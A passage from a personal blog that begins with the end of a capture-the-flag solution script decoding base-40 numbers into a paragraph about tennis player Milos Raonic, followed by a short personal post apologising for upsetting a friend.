# print "len(ctable): %d" % (len(ctable),)

v2 = []

for n in v:
    c = n % 40
    b = (n / 40) % 40
    a = (n / 1600)

    v2 += [a, b, c]

v3 = []
i = 0
while i < len(v2):
    if v2[i] == 39:
        v3 += [v2[i] + v2[i + 1]]
        i += 2
    else:
        v3 += [v2[i]]
        i += 1

# print v3

s = ""
for n in v3:
    if ctable[n] != "\x00": s += ctable[n]

print s

Running gives

$ ./solve.py
Milos Raonic (born 1990) is a Canadian professional tennis player. He reached a career high world No. 4 singles ranking in May 2015, as ranked by the Association of Tennis Professionals (ATP). His career highlights include a Grand Slam final at the 2016 Wimbledon Championships and two Grand Slam semifinals at the 2014 Wimbledon Championships and 2016 Australian Open. He was the 2011 ATP Newcomer of the Year, and has been ranked continuously inside the top 20 since August 2012. Raonic is the first player born in the 1990s to win an ATP title, to be ranked in the top 10, and to qualify for the ATP World Tour Finals. He has eight ATP singles titles, all won on hard courts. He is frequently described as having one of the best serves among his contemporaries. Statistically, he is among the strongest servers in the Open Era, winning 91p of service games to rank third all time. Aided by his serve, he plays an all court style with an emphasis on short points.
$ ./solve.py | md5sum | awk '{print $1}'
2c8cd31daeba8753815851f13e6370b3
Posted in CTF | Leave a comment

General Stupidity Part 1

I’m not sure if the intended audience is ever going to read this, but I’m going to leave a note here for the sake of noting things down.

I will probably be the most boring person you will ever meet. My hobbies consist solely of playing video games and academia. The only creative skills I have are directed towards outplaying my opponents and problem solving, and even my creativity in those fields are very lacking. Due to this, conversing with others is a very difficult task for me when not a lot of common ground is shared. This leads to me consistently trying to bring new things to the conversation in the hopes of not sounding too bland and difficult to talk to. Sometimes, the actions I take to produce small talk will upset people, and I will have no idea until very late, when I have compiled sufficient evidence to conclude with confidence that this action is something that would upset the conversation partner. I believe this is what most people call being clueless.

If something upsets you, you should tell me directly as soon as possible. I will not be offended and this is often the quickest way for me to change my habits. If not, I will automatically assume that what I’ve been doing is okay and we will just continue along that vicious spiral towards impending doom. This is not good, and I truly wish from the bottom of my heart that we can learn from these mistakes and deepen our friendship.

I’m sorry I upset you. I’m sorry I didn’t notice. I’m sorry I didn’t bring it up once I noticed. Please forgive me.

Posted in Uncategorized | Leave a comment